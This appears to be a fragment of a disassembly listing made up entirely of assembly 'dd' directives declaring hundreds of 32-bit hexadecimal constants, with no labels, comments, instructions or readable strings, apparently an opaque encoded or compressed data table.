		dd 0E87E0B38h, 0B7C63128h, 0DB2A33C3h, 36CFEEDAh, 7F78D939h
		dd 2F63EC18h, 0FF5404Bh, 0E9133DFh, 666526C3h, 6A18790Bh
		dd 0E3C5082Ah, 32B1324Fh, 7664F213h, 0BD13A36h,	2EB4309Bh
		dd 151C9136h, 0A52FD69Ah, 25272387h, 133FAD75h,	6D255EE0h
		dd 3D316F2Fh, 0C240230Ah, 393B3F58h, 0FDAD33B8h, 97F0B9EDh
		dd 64BF1D13h, 0CCA33210h, 0A3F72D2Eh, 160B2E6Fh, 3323702Dh
		dd 0BDEC31F3h, 0B5333673h
		dd 6C1F1E7Dh, 923F30B4h, 41971572h, 23ABC92Ch, 0A4242527h
		dd 757531ECh, 0AC7570ACh, 0A3F171F4h, 36377B9Ch, 3A3AD8C2h
		dd 3E3F97F6h, 0F01C1D51h, 235DE1FFh, 27A30E22h,	2B284A26h
		dd 1B2C2C15h, 3070651Fh, 3C34352Fh, 0BBC53936h,	3FA8D087h
		dd 1C1DC73Eh, 39211ED6h, 7099E2FFh, 288A2567h, 2C2DBF2Bh
		dd 0B3312EA2h, 0F1B739BBh, 3280F43Eh, 633F3B92h, 1C8B1F3Fh
		dd 2003D21Dh, 644B7421h, 1B2624EEh, 39D42ADFh, 312DF649h
		dd 10337EBAh, 0BB36BD3Dh, 3C4EC5C1h, 0F36E6826h, 0E0E3191Fh
		dd 0A8AC21A9h, 0D86027D4h, 692B413Dh, 0EC70EB2Ch, 5A465D45h
		dd 43364C76h, 6C556D5Dh, 0F5B5955h, 6C7C7458h, 3AE10A9Fh
		dd 74A54F40h, 5F465B42h, 27AD4F59h, 0B332658Bh,	71535B7Ch
		dd 1B7B6F33h, 0DD3EFB26h, 1919513Ch, 227E315Eh,	57410376h
		dd 0AE464E4Bh, 6D2E2BBDh, 0A6C2DCEh, 0BE1BF2CFh, 9218CA60h
		dd 3D3BFBA1h, 5C175EA5h, 248CFF1Fh, 3DDC6575h, 4EA7262Eh
		dd 0EEC7AB2Dh, 0F92FAD8Bh, 63F301CEh, 38C5CCBEh, 0BFEACD97h
		dd 9A6038FCh, 1DDCE45Eh, 0E7A32656h, 45E52426h,	2F9E697Ah
		dd 0EE018F2Dh, 3641A331h, 0F6068A3Fh, 0FF434639h, 92D953Dh
		dd 691CDC85h, 0E052277Ah, 3E50E22h, 2BEBFB2Ch, 2B2A4998h
		dd 33F09918h, 37F145A3h, 0D338FAA4h, 0F36F3B5Eh, 63521AFDh
		dd 0E3DF1EDAh, 0A5F66B23h, 111926E2h, 0B75C2B5Bh, 307142FDh
		dd 7534F2E9h, 3949D4ACh, 50D72A8Ah, 0DDE83E7Fh,	0DB03AE1Dh
		dd 0BE332250h, 99938826h, 0CD2B6A69h, 30EE3DB4h, 8133F32Ah
		dd 0F914AF85h, 3CFA1139h, 6F0CA7BDh, 6F25FB1Ch,	0E3845420h
		dd 677B3033h, 5B782914h, 0D01E2D09h, 0EF71AE7h,	37B6549Ch
		dd 531F4A3Ah, 645F3AECh, 2DBCCC01h, 7322549Bh, 4FCD142Bh
		dd 0D82A78A4h, 8EFD5829h, 34A14824h, 1EB569F1h,	0F60CB30Eh
		dd 0A2E609Bh, 1FED97CDh, 29735F76h, 138574B3h, 7D98044Ch
		dd 0B6AC282Ah, 95BEE9D1h, 855AA8B2h, 9CD06232h,	24D9397Ah
		dd 5F80BF2Ch, 39FE061Eh, 28E7A17Ch, 0EA52BDE6h,	0A90BCA41h
		dd 502050EDh, 28139018h, 11D7FE1Eh, 3E5BA479h, 0FE7C976h
		dd 39FE944Fh, 4BAC61ADh, 254FE530h, 3B59E978h, 0E97F2F2Ch
		dd 3C165574h, 472C46D4h, 72DA3AF8h, 0FF0C2B35h,	0DD1B1D76h
		dd 0E32948DFh, 292724CBh, 292995A3h, 3329A778h,	646C315Bh
		dd 1299B964h, 46181C11h, 1A82143Bh, 0D49F7E1Eh,	0E113E016h
		dd 0E0CCE3D3h, 0E72FF7FCh, 0CD8DA5C2h, 0A031EF75h, 3BBD3B97h
		dd 89240F96h, 4E04F93Bh, 683D200Fh, 0AB3F1639h,	0DAA875F0h
		dd 0E8141B35h, 7A1619A8h, 59C7E4A6h, 3B3853FAh,	33280A1Eh
		dd 7D8A332Ah, 2CD76C6Dh, 0F71D3D03h, 24412149h,	5747A784h
		dd 9B0A3E18h, 2E2E5F01h, 0AC773363h, 8031E544h,	6484A38h
		dd 5E385ADEh, 321D9C13h, 0B0323FBFh, 5532F521h,	5E29FD1Dh
		dd 0E974344h, 0A748281Fh, 6674E43Bh, 3BFA31AEh,	4B525F1Bh
		dd 8E5D7F53h, 0B126501Ah, 87AB66E1h, 0DA93CB6h,	0AC440CAAh
		dd 71A0AA09h, 0BE346561h, 6E601342h, 3DB1C2B1h,	53964160h
		dd 0E748F62Fh, 0AF53A240h, 0E84DCEEEh, 0A9B82A33h, 332F91A5h
		dd 72BE87F1h, 881B420h,	17D36A4Dh, 1F7F363Dh, 7D1FBD3Fh
		dd 57E2A446h, 7B68AE0Eh, 0DA41D99Bh, 7FEFC55Fh,	8A351031h
		dd 25B33545h, 3C5B2554h, 0A7CCD56Ch, 837F700Ch,	0CAEC225Dh
		dd 0B921A4A7h, 0C235292Fh, 9F288FCBh, 0DA5D652Dh, 290AAE99h
		dd 3521A75Bh, 313D333Bh, 19D8983Bh, 0A87FDF2Dh,	3E79A802h
		dd 697E8367h, 2DA70160h, 456C382Eh, 7535B316h, 71237709h
		dd 3D01207Ah, 1E1B3E3Ch, 2BA13A68h, 671CE4DAh, 35E7984Eh
		dd 302E459Ch, 31AF346Ch, 35B32C33h, 0DF9EDE65h,	0BD0EC5C5h
		dd 1AEF2BC2h, 0F7D18542h, 6A2541F2h, 6E10D941h,	1AD3194Dh
		dd 734ED2D2h, 612A2891h, 0EC6AD11Dh, 0DB62960Ah, 2CD53F5Ch
		dd 0DF7CBD30h, 27057093h, 0AD278491h, 420D2CABh, 7072288Bh
		dd 32F10372h, 3BBC5068h, 0FEB83C37h, 2D72D43Ah,	56341ABEh
		dd 40001E9Fh, 0AE258360h, 0D60866E8h, 0C52C2BB3h, 31532F10h
		dd 516A3B53h, 5A280956h, 823C3E5Ah, 51B200Bh, 31E0741Dh
		dd 0D74B1440h, 7814A6B0h, 8A35291h, 7ED2C2Dh, 745BE3D9h
		dd 6D64760Bh, 3F333AC1h, 92BB3D3Dh, 96981C29h, 23232115h
		dd 12AF8154h, 1EA36BA9h, 2F726E2Eh, 0CC622173h,	0EB61921h
		dd 299FF03h, 1D4A7ABDh,	9945497h, 0E07F6E9Ch, 69252C25h
		dd 0DBA267B8h, 2E0FAEC3h, 34F6CFD1h, 3676D45Bh,	0D2163833h
		dd 313B426Dh, 11B99ABEh, 2E264711h, 249021EFh, 0A4794EF1h
		dd 2DC40D67h, 0CECDED77h, 35A7A5B8h, 0F4B33436h, 3DB3AEB2h
		dd 9A913F3Dh, 0A81C1E89h, 246EB2A4h, 7E667635h,	0A7A670A9h
		dd 86C7BCEDh, 0F5913271h, 3DF76425h, 0D53EFF11h, 483CBA3Dh
		dd 4F4D361Dh, 2D627273h, 2966116Eh, 0B3206940h,	6B38ED7Ah
		dd 5B27CE38h, 37F63CF1h, 0AF32B23Bh, 70BF7518h,	1F1D269Bh
		dd 0B4A52F57h, 0B6382023h, 3A902FA7h, 2C2D13D4h, 168D52AFh
		dd 36560D90h, 9002610Dh, 5F013000h, 21AA273Fh, 1C422217h
		dd 3E1973E2h, 2F485118h, 0D29ABD3h, 0A135AF0Fh,	25533032h
		dd 3908852Bh, 0C100B86h, 2DF00EBBh, 752D5E1Dh, 0B311AC13h
		dd 0B8C2A417h, 5B183F12h, 66FF971Eh, 34F3A730h,	34343628h
		dd 393B4A30h, 43FFF2Ah,	4A3C1E1Ch, 620F21E1h, 27671D24h
		dd 652A686Bh, 762E6CA9h, 33173331h, 37475137h, 19AA1F76h
		dd 3F7F3C7Dh, 1F5E341Ah, 635B4A1Ah, 2734A123h, 5B48980Ch
		dd 2EB5002Bh, 4D23FFECh, 39353B3Ch, 6A17D337h, 8DF00AD3h
		dd 1B0CCB27h, 0A151618Ch, 3E44FBD5h, 19C8A4E6h,	2EC33265h
		dd 32D536A3h, 36A52547h, 0BA363356h, 4B3E43C2h,	548B1F37h
		dd 40051095h, 72832A4Eh, 62CF7572h, 6C1929CFh, 312C2EA1h
		dd 0B12B9771h, 0B8B339CAh, 56383A39h, 0E43E5425h, 5F176109h
		dd 23D2AAA3h, 53D0A096h, 3EEAAC4Ch, 251DAD38h, 0B33331BBh
		dd 0B7322735h, 7B38D239h, 0B63A437Eh, 6090221Bh, 23214A0Fh
		dd 0AF726473h, 6CEE2461h, 71122FAAh, 0A120F6DAh, 5CD54835h
		dd 11351E96h, 3EC4FDF3h, 12D3203Dh, 2220B19Dh, 0C03F2323h
		dd 12D7D841h, 262658D2h, 91EA2F8Eh, 0DEDCB832h,	0D6B36334h
		dd 0FCF13BFAh, 236BE73Eh, 0ABC2DE1Eh, 0B1CB71EFh, 3F077CD5h
		dd 3F2F143Eh, 603C2F1Bh, 70203313h, 0AAB19FDBh,	0FCD24EB4h
		dd 0DA9625E7h, 9E429014h, 2AA33122h, 0A12FA7ACh, 6223AFE0h
		dd 0C1C7F138h, 5E85F063h, 0B9903DB6h, 0F526B830h, 353F353Ch
		dd 141C49DDh, 5C2422EFh, 86FD2A6Bh, 18DB1AD8h, 1CD24BABh
		dd 0C3F029h, 0C9688EAFh, 0C5359705h, 9E0ED409h,	2FEA8276h
		dd 13DFB083h, 7A3D11D8h, 219F15D9h, 0DD271A2Ah,	3AC1A425h
		dd 111CABA7h, 67E377Bh,	6D7F65B7h, 911BF4B5h, 4E920F63h
		dd 2531CA07h, 0D3333EB6h, 6133A283h, 31E836B0h,	23320B59h
		dd 2BF760DCh, 1CEA6F78h, 92164AD5h, 81E4E008h, 37A35534h
		dd 2316E4A7h, 6A88DCC1h, 45262039h, 0D25A39CFh,	533E7595h
		dd 0AB3E3999h, 1AB7596Ch, 16F168DBh, 0AB6139DFh, 0D9757470h
		dd 0A125A871h, 0AF4B246Dh, 322830EBh, 0C96E6A6Ch, 19D158D7h
		dd 0B53E3C3Bh, 90103F7Bh, 0A25C1F46h, 0A4211F61h, 29A80F65h
		dd 2F2C3B2Bh, 30F04CAFh, 0CACBC332h, 0BA1C33BDh, 6D283BFEh
		dd 2DD8FF0Fh, 0DF1F7ACFh
		dd 2F91299Eh, 74AEB628h, 38AB36ADh, 68E6E35h, 2C1EF600h
		dd 33D46464h, 0B23431EEh, 0E4C1D1ADh, 0AF485DE3h, 0DC744121h
		dd 32BD3675h, 2B253CC7h, 2F212D23h, 29D8313Fh, 2DD7291Eh
		dd 1737E96Dh, 68683DBCh, 11CC979Bh, 2283A805h, 8E2586AFh
		dd 0B634CA72h, 0C355909h, 3293202Dh, 3695C92Fh,	253927FBh
		dd 213D233Bh, 21C043Fh,	213FE01Eh, 253B233Dh, 29372739h
		dd 2D332B35h, 2ECF2F31h, 2A342C32h, 26382836h, 223C243Ah
		dd 0E31B203Eh, 0E0F1C28h, 0FE211799h, 0A026B7A5h, 2B8A2A69h
		dd 112F5FBDh, 3442492Dh, 49973C25h, 0A928BB39h,	0B3E0E3Eh
		dd 1C8A1FB6h, 0F821B0F0h, 0DFC026B0h, 3E7AFB2Fh, 3FB23D2Eh
		dd 33722932h, 17803725h, 3E8A3949h, 0BA3E4D14h,	2E9A1C53h
		dd 0CA70700Fh, 0A36F240Eh, 500B5CE7h, 0A793D2Ah, 1224303Bh
		dd 67653061h, 2A199737h, 2CD53F3Bh, 96271B85h, 31B41BE6h
		dd 2D6C60A9h, 0D28AE76h, 3B2CB6C2h, 4FCD2F15h, 3D4FBA21h
		dd 64186969h, 3E3C3A82h, 18EB2C77h, 6DCE1ADBh, 4E3326E2h
		dd 2C83A530h, 2A4163D9h, 0BA67C67Ch, 0A8E37B38h, 31A652DDh
		dd 35ABD0AFh, 1FABD76Fh, 1B864DE3h, 6526B5A7h, 0E728472Ah
		dd 7B22430Ch, 0B7DCD1C4h, 0B37B3855h, 862EDDABh, 0D3E773Ch
		dd 3CDEE815h, 0E61EFD74h, 0CC0623FDh, 0B22D3C20h, 2808D91Fh
		dd 962F012Eh, 96304247h, 3740E8DDh, 3B3BF08Fh, 0DB3C38E5h
		dd 0D1D01B89h, 0A2D05295h, 0CC0427E3h, 0D6D4A22Eh, 0C41E8B28h
		dd 35B4D26Ah, 0C7DD5362h, 39B96735h, 3DA49E1Bh,	5E46613Dh
		dd 0E49EFE76h, 0AD2022BDh, 379479A2h, 2C343529h, 30302E32h
		dd 342B322Eh, 3A9323CAh, 0F4F95AE1h, 7972ED85h,	0FEE91D0Ch
		dd 249AEBABh, 0E5260B61h, 0DC2CC0E9h, 2FECA6C5h, 0CBF3F033h
		dd 0F6E6BE24h, 922C0696h, 0CC383A1Ch, 3EBA445Dh, 0CB6220BAh
		dd 7E2581FEh, 8FFBC163h, 0E9C4412Bh, 2889308Fh,	49333683h
		dd 3C3E3E38h, 9D2BD5E3h, 1D6C151Fh, 181DE9Fh, 2644B3FEh
		dd 0A139A683h, 302428CBh, 0DE702CCFh, 7FCC2A31h, 39373739h
		dd 3D333B35h, 131B30C1h, 2F1F111Dh, 2B232D21h, 27272925h
		dd 2C24D529h, 30202E22h, 343C323Eh, 3838363Ah, 33C43A36h
		dd 143F313Dh, 101E121Ch, 2C222E20h, 0D8262A24h,	2B252927h
		dd 2F212D23h, 333D313Fh, 2236373Eh, 0B03A4AEBh,	2EEDC2C4h
		dd 9A12018Bh, 0DA8CF0A9h, 0A3E12BDCh, 0BE14588Ah, 243D140Fh
		dd 5811287Eh, 0E01E6523h, 0CF3A2027h, 6210B733h, 4B4E18FFh
		dd 0F4AAE049h, 0D5140952h, 7A384D27h, 7E859B8Ah, 51495A60h
		dd 0E2CBB332h, 191C7BBBh, 19A03BB3h, 1E1B3E7Ah,	9617CAF5h
		dd 0A023DDDDh, 1E26264Dh, 2D2B6E29h, 180B7AA0h,	6631F25Bh
		dd 0BBDFF8BEh, 0A03B6639h, 5F3F265Fh, 1F4C4C20h, 0E4AE2362h
		dd 7302A12Ch, 2B234328h, 722CC52Fh, 34E2C1BAh, 23BE372Ch
		dd 336EDFCFh, 376E2D36h, 12154C1Ch, 0AE6F2169h,	3D35F610h
		dd 0FD62F15h, 84224E9Fh, 9E31629Fh, 649D3461h, 3A6B9C37h
		dd 3E6F9C91h, 891C49A7h, 73B01F4Ch, 77A88922h, 297AAF26h
		dd 512C79AAh, 313467C2h, 0BE246030h, 3BBBBCEFh,	3448FB7Fh
		dd 0B8F36F26h, 591F5B1Ch, 2CA87474h, 28430291h,	0D2A07D36h
		dd 0CFE62EAEh, 9AC1F202h, 697FE7C2h, 333AA4D1h,	12BBEEB6h
		dd 1E8D1B95h, 82EA03Ch,	0ACE7AEDDh, 0D1A1DE28h,	4D26ED64h
		dd 79D2A977h, 273E5063h, 5E68FEBBh, 5FBB322Ch, 431CCC9Ah
		dd 23917F44h, 0AD62C47Dh, 6D8B32A4h, 0A25EAE17h, 3241040Bh
		dd 68F506CBh, 1996396Eh, 3E323C34h, 12131B30h, 2E20101Eh
		dd 0D4813C22h, 2E244BCEh, 0ED398F15h, 61258E59h, 94E7F5DAh
		dd 792C9F1Fh, 9D1CCBD2h, 42792B96h, 0AE9212BDh,	4037825Ch
		dd 496A675Bh, 0AD0A8257h, 0BED23A85h, 0D96B2693h, 30984854h
		dd 212FFA31h, 52302AF9h, 4B900953h, 33936821h, 0CF646C25h
		dd 39AE2ECBh, 203E4DA7h, 0F031D960h, 3035CE6Fh,	137B77A9h
		dd 0DD532C76h, 156CFC34h, 6FAA082Fh, 0AD15442Bh, 7AD607E1h
		dd 1AF28B9h, 1DF9F01Ch,	19FC9B8Dh, 0B916C626h, 29FB34D7h
		dd 184A900Ah, 0C1AD00DCh, 7775736Fh, 69683F74h,	0C57C2A2Ah
		dd 3DAF4DAAh, 3D6ABEB2h, 18D06463h, 9C391D3Eh, 14F938F8h
		dd 0E92CF761h, 2BDCA2A4h, 0C076E7B0h, 2C26E90Ah, 4574D1A8h
		dd 384DBB37h, 2871C9CDh, 0ADFF351Fh, 0D8203F7Ch, 10591D13h
		dd 0AC222E20h, 0B7B1AC20h, 106CA228h, 142E6AA5h, 0BA0D7FBBh
		dd 0AF650A7Bh, 1A7976B5h, 0B5AFEFE7h, 1E6ACC7Eh, 6DAC0659h
		dd 89AC7405h, 0C206586Eh, 0A42C2C53h, 0B92510B9h, 0A1BDFB7Bh
		dd 0BCB33857h, 9CB5297Bh, 0F51C5BB8h, 5B04671h,	0F7982EA9h
		dd 0AD27EE26h, 2DFDA6C3h, 0E051BEA6h, 3634E832h, 3B382747h
		dd 0C5BFEBC5h, 1DA39CC1h, 0A4101C5Ch, 712022E6h, 9B7A44Dh
		dd 0C1187A2Bh, 30BD2BEAh, 32031A03h, 3C6423CAh,	3CB43F09h
		dd 906C3D2Dh, 1D593C80h, 0E7712021h, 27CEA62Ch,	0AF2A2629h
		dd 672D2D86h, 277A4044h, 61323A40h, 6530BC10h, 0BF7D6E28h
		dd 49049C1Fh, 0E2066CA2h, 25AFAF04h, 0EA2D37E6h, 3A587A1Ch
		dd 322C102Ch, 37B55C3Bh, 3EFA3473h, 5E41FCBEh, 0E8F44C2Ah
		dd 25A1421Fh, 41202343h, 5D4E2536h, 4F3F5A4Fh, 4230492Ch
		dd 355F5657h, 993A5137h, 544E4C5Ch, 0DF1F3F4Ah,	72BE163Ch
		dd 2696232Ah, 46233656h, 632B2159h, 5C49482Fh, 345B4144h
		dd 39243435h, 5E545366h, 433D3EA5h, 3B3A99DAh, 2E3A7920h
		dd 772639CCh, 0A31A0928h, 0F0A49B0h, 47DA1130h,	5B337734h
		dd 0F1E197Ch, 3F6E3E56h, 5756F577h, 578B081Fh, 0EEAE0223h
		dd 0AA275A23h, 0D07DB5C3h, 3AF1B5D0h, 0A23AB408h, 0D22A1C73h
		dd 7C7D3C0Dh, 96E3E414h, 31203B52h, 0F0DB7272h,	290C73ADh
		dd 0FED3793Ah, 21146BA3h, 65803337h, 6503B36h, 7A333A3Ah
		dd 1818D33Ch, 0C87F9C1Dh, 0B5A12922h, 64A53624h, 68ED060Dh
		dd 316F5209h, 0CB142BD9h, 7C2D36CAh, 3C213B98h,	8F9F383Dh
		dd 0DF9A1F9Dh, 7FA6652Fh, 0AC752484h, 7EAE0835h, 0A303A624h
		dd 74B937B0h, 3D3C5F21h, 187630F8h, 57344833h, 1D1D6CE1h
		dd 26C13EF6h, 0AE652703h, 0BEA4B813h, 83AD180Fh, 36B1627Eh
		dd 3034B031h, 0C5C7BBC7h, 39E23BE4h, 3DDD1CEEh,	0C09BF706h
		dd 22341DA0h, 0CD6EAC3Eh, 23DC920Ah, 3E40EE15h,	784437D0h
		dd 6818796Ah, 0D83FD43Fh, 1FFD443Dh, 0DBF7AE65h, 0AB73DEFDh
		dd 0E92525E5h, 7A7C4A2Ah, 0D27BC67Dh, 4032E23Dh, 1C883C2Dh
		dd 913BB7BDh, 71B4ABDh,	66BEB99h, 732AAE20h, 0B02F22AFh
		dd 0A8747648h, 0EC22E92Ch, 3B1675BDh, 0E363664h, 3F747C79h
		dd 24E0BE84h, 0DF9C5F1Bh, 2226813Fh, 66A52522h,	2CA2C9D0h
		dd 2E0960A0h, 20DBF127h, 0BBB530BEh, 3A31FCB4h,	0B75B240Bh
		dd 59380F7Bh, 2172231Fh, 0E2420732h, 310C6326h,	0D22D2B28h
		dd 6D316EFBh, 11B0B824h, 53FC361Eh, 3E563D9Ah, 3E1B3D54h
		dd 20211E39h, 2723323Dh, 0F41733DAh, 0A72A2829h, 0CFD1ADDDh
		dd 5C393244h, 741038B0h, 0CA081D39h, 6F37F7B8h,	4E5F960Ah
		dd 12AB7130h, 8613E37Bh, 0DAA4022Fh, 3A288D02h,	0F83D69D3h
		dd 3E763BD5h, 0B23BF93Fh, 5D53FD3Dh, 7040CF73h,	0A903281Eh
		dd 243922C2h, 3BBAE957h, 2FA4366Ah, 0F5BA91ECh,	363A343Ch
		dd 3A363838h, 3E323C34h, 121C14C0h, 2E20101Eh, 2A242C22h
		dd 26282826h, 2D23D42Ah
		dd 313F2F21h, 353B333Dh, 39373739h, 32C33B35h, 131B303Eh
		dd 2F1F111Dh, 2B232D21h, 0D7272925h, 2C242A26h,	30202E22h
		dd 1D473700h, 0E980DEE9h, 0BC268B32h, 32BFE098h, 0D19C1EFFh
		dd 0E3A62070h, 2779E051h, 0A52EA04Eh, 2B2F87C4h, 366D3030h
		dd 2DF97A35h, 3B353937h, 0B32626FCh, 950507D7h,	12C13BDFh
		dd 2E2295D2h, 5E960CFh,	1E3ECCDEh, 0CE6CB9C0h, 0CA70BF73h
		dd 0BA29D0F6h, 0DD3DBD35h, 1F1CE4C0h, 21ABDC1Dh, 35CFE2FAh
		dd 6CA1E425h, 38ECD728h, 0C66BD36Bh, 0D028B8E2h, 2753FE6Bh
		dd 39083B56h, 818D339Dh, 211ECE5Dh, 7728ECE2h, 81CA770h
		dd 11A07D39h, 0BBE0A53Fh, 355FDAE9h, 0B5F936B4h, 0D4383945h
		dd 1B9F375Ch, 96FDA27h,	0A0E1BF2Fh, 0AED9EA74h,	0BD22BA94h
		dd 9FAA369Ch, 0E8B73EEBh, 61472024h, 2E3918BBh,	0FF2B39F9h
		dd 1F1D3A1Fh, 4223E09Ch, 0CE75EAA8h, 79298896h,	0AAE2B0Fh
		dd 3515BE28h, 923210AAh, 9A3E1082h, 0BFED3B1Eh,	0C61D1A3Ch
		dd 0C70A1E1Bh, 0E1D524E6h, 28CCDB21h, 0A999A2Dh, 32D5D77Eh
		dd 67357302h, 39BD0F35h, 3F597B5Ch, 8232CAEh, 21CA27F8h
		dd 24A6F749h, 5027A355h, 463B3769h, 5A2F7E29h, 0CBCC5A35h
		dd 99603435h, 3B4E332Ch, 182E6E55h, 9F544CF7h, 72324B34h
		dd 0D694CD73h, 2AB90C5Bh, 342FBC7Eh, 31E6B158h,	3276285Eh
		dd 1B2C1B44h, 21283D2Dh, 842C5473h, 62C97719h, 20F52753h
		dd 0A34FA0A7h, 8092877h, 8C1931AFh, 34715BB3h, 0B0603837h
		dd 4F7B62Bh, 1691B29h, 3554D69Ah, 242673A8h, 287E2126h
		dd 0EDAF255Fh, 0F7B32D2Eh, 40FDB730h, 0F90B37D6h, 0FD273ED1h
		dd 0E31BE7BDh, 6F6ADD26h, 24340FAAh, 830B4431h,	4A0CD9h
		dd 3C8C44h, 547713C2h, 0D9B2A019h, 1F175219h, 0D4BC309Dh
		dd 171E3F0Dh, 63065DA9h, 0E20B8DCCh, 3B260FDBh,	2444242Ch
		dd 1F063408h, 322C2282h, 1B091509h, 0EE120439h,	0E8D8019Bh
		dd 26D5791Bh, 0AB3DEA52h, 19793968h, 2ACC2FFBh,	0E7D1FCC7h
		dd 0BB642E02h, 0D21F7727h, 6A3DFD84h, 905C7B1Bh, 0C9727A51h
		dd 6324E290h, 66A54EA6h, 8BC47B50h, 0F7302F9Eh,	3134BCB5h
		dd 0B8A8B0F0h, 3DAD3B7Bh, 8F95B53Ah, 0AF5F096Dh, 6834F29h
		dd 49656628h, 334A7A36h, 5BD20C8Dh, 16916F10h, 0D312D20Bh
		dd 1E9A3818h, 1F7E6D13h, 9D673FBEh, 87E30386h, 0C7E97706h
		dd 94089643h, 0AC0C9F0Eh, 416196F0h, 24F7086Fh,	9AB7B9B2h
		dd 0DCAA8350h, 0D7C55437h, 2ADE4877h, 992A2CD1h, 0A1236027h
		dd 0FFA6206Bh, 164D30A2h, 0F705BF2Bh, 0C9393ADEh, 0BDF7B79Eh
		dd 3DEF18DEh, 0CAB4ABAh, 0DA26C3E6h, 2A2826F3h,	2C462D40h
		dd 0B3D82D44h, 0BE30D3CAh, 0C6C7B4CEh, 5D323E2Ah, 19093A21h
		dd 0A44E1C15h, 0B0427649h, 0FF5CCE77h, 200128B8h, 3D56B8Ah
		dd 36B02E75h, 6A37DE34h, 7AC4C4E0h, 2F2FC0BEh, 0C3DEAC60h
		dd 0F315F3E4h, 3B336F38h, 1238ADC0h, 249C2F4Eh,	8DDA1145h
		dd 44348517h, 0EBAAE932h, 3326BF3Fh, 1DA9E55Bh,	0D912A0CCh
		dd 84E4BDA3h, 2B1AA873h, 16A90568h, 0F10637F9h,	0B7EFF610h
		dd 0DAF82F03h, 3F4EB832h, 0DC349D0Eh, 0A6465F78h, 24D0F62Fh
		dd 0E83A3717h, 486C25CBh, 61F72CE4h, 0EDBFE2C5h, 0B9E2AFB6h
		dd 193067A7h, 1899572Ah, 6053CE4Ch, 0A716E214h,	1853D9DDh
		dd 501B28DBh, 14561E6Ch, 95B1B929h, 0B2C856D4h,	293ADAECh
		dd 902F3FDCh, 0FD188C92h, 0E324B3A1h, 25F48551h, 29A850E8h
		dd 2D3F76E6h, 0B2739537h, 0E83387F0h, 3B35A229h, 4F3F2DD4h
		dd 0CAF104Bh, 7220701Ah, 6F51C9A6h, 3B7D2C33h, 3E907E2Fh
		dd 1610462Bh, 34A43782h, 0CAA34AB6h, 0C16DFC24h, 1FC7132Ah
		dd 25AF009Fh, 0A41C9F06h, 6B395222h, 2DF4DD26h,	0F414EF35h
		dd 0BE64F3B1h, 309EDF94h, 22BE30E4h, 1C1438C1h,	200E26D5h
		dd 242342ADh, 0C61FA72Eh, 59EFEAD6h, 95F2DF3h, 25CC3EE2h
		dd 0DA3127C6h, 8E348A38h, 0DC2FBF55h, 6E1F7C19h, 6006DB11h
		dd 35127585h, 7BBE4178h, 0AEFEC52Dh, 36788421h,	37862DDCh
		dd 393A0B38h, 356E415Ch, 3E10AD9Ch, 272CB213h, 0D095106h
		dd 2D291C27h, 0CE7B207Bh, 5F3BE44Dh, 0B651C65Ch, 2D335B3Dh
		dd 2C20183Ah, 0D617EB1Ah, 2C6078BFh, 4493B357h,	0A836B44Fh
		dd 1FBAAA4Bh, 545E272Eh, 25B66C46h, 0B6701418h,	0FD25B923h
		dd 0E802B054h, 399DAE1Bh, 0AB3E82DBh, 0A627293Ch, 70D44E30h
		dd 82F237A5h, 2DB92BBEh, 27C7E16Ch, 25BC23B6h, 0ED264F29h
		dd 66D194Ch, 0DCEDA2E8h, 99AF3C86h, 32DF3E28h, 0B2AA2204h
		dd 43893140h, 26063F37h, 0B173908h, 0F6C0D08h, 2D952C65h
		dd 10317E2Dh, 0D62F1091h, 1F442835h, 1BFD1953h,	13105F4h
		dd 85030A05h, 3A00E600h, 43105C5h, 219F277Ch, 0E81CB11Eh
		dd 8719A01Eh, 1486271Bh, 133416C1h, 7310111Ah, 772E377Bh
		dd 0B73B76E3h, 0BE3F3BA8h, 9E5EFA69h, 239CC51Eh, 0A696CA23h
		dd 29AF0226h, 2FEA2829h, 0F28AC62Eh, 0F05E9032h, 0ADDF3236h
		dd 0F88D39FBh, 0F33A163Eh, 0E01DDF99h, 0CB2422E4h, 24E650EAh
		dd 1EBA1891h, 41BDAC15h, 0E3B936F3h, 0E23E957Ch, 0CBBC4638h
		dd 87656063h, 98811FBh,	222E3E70h, 29252B2Ch, 2D292727h
		dd 2C94632Bh, 0B13138E3h, 0BD6624DFh, 261D386Bh, 42B66B6Dh
		dd 901C3B1Bh, 0AC70F35Dh, 25750B6Dh, 0D4B7DACEh, 3D7BA0D5h
		dd 193D2F2Fh, 64325992h, 24BAA7DEh, 7F21BA26h, 3A06BB76h
		dd 0ABBDCAF5h, 0B021FE3Ch, 0CAB25E5h, 0C4282AB1h, 0F0B5A029h
		dd 0BF2BDE3Ah, 5CF7BFF9h, 0D46B121Dh, 183CBEC1h, 750D9D6Bh
		dd 49324B21h, 7D27652Ah, 655D2920h, 0AAAE2DA9h,	794F6133h
		dd 9735B0BCh, 933F3878h, 0EA8E3F19h, 9BA51C9Eh,	22A4E01Fh
		dd 0C725A5EBh, 2B2C7D78h, 0CE2DA9F3h, 0B7D930AAh, 0B320C433h
		dd 3AB9C037h, 2605082Ah, 0CF495F2Ah, 2150370Dh,	210FE12Fh
		dd 22242774h, 0ED2957ABh, 22707738h, 41FDB662h,	55B87639h
		dd 46D46A26h, 14557EEAh, 0C817F5BDh, 74E1C056h,	2DB5A6AEh
		dd 6D0723A9h, 0B5A4DE0Fh, 34931522h, 69676437h,	7D436539h
		dd 633F1BACh, 770D5D2Ch, 71BD6060h, 0A4F525DBh,	600239D1h
		dd 2F283B73h, 0DB225388h, 643255A2h, 3EEA6C3Ah,	0A6B8B66Bh
		dd 94051F1Bh, 5113C97h,	0AD49BC63h, 0EBB9A23Ah,	0BB0C0112h
		dd 62ACA6A4h, 37353068h, 0FA0A2BC7h, 3E1940B6h,	4DB7E82Fh
		dd 21859D95h, 7F5420F0h, 55A1D8D9h, 5828330Eh, 2114F23h
		dd 0F1B568F2h, 0FA2EB733h, 5770165Ah, 24716F3Ah, 48481Fh
		dd 0EAFC6E4h, 81ABAD21h, 1A020C8h, 0D17EBCACh, 0A2D352A7h
		dd 0B3E2C975h, 0FC971EA5h, 5A7E1631h, 43977F88h, 2BE24504h
		dd 0A76A2AB4h, 24ABA027h, 6F31750Fh, 3BB9350Ch,	0BC3E3474h
		dd 79226824h, 7E70666Dh, 1EF59F11h, 3B5521DFh, 6723506Bh
		dd 6B65E93Dh, 0EE1E3C6Bh, 722971E8h, 8EB9F76Ch,	77027007h
		dd 62B66F34h, 4A1C303Fh, 0A52FC49Bh, 150C2312h,	3CD70B26h
		dd 295C07A8h, 1574A648h, 5522432Ch, 69285D2Ah, 5D39DB69h
		dd 7C18173Fh, 33010E1Ch, 0CC4A6FACh, 33737E5h, 0BD934279h
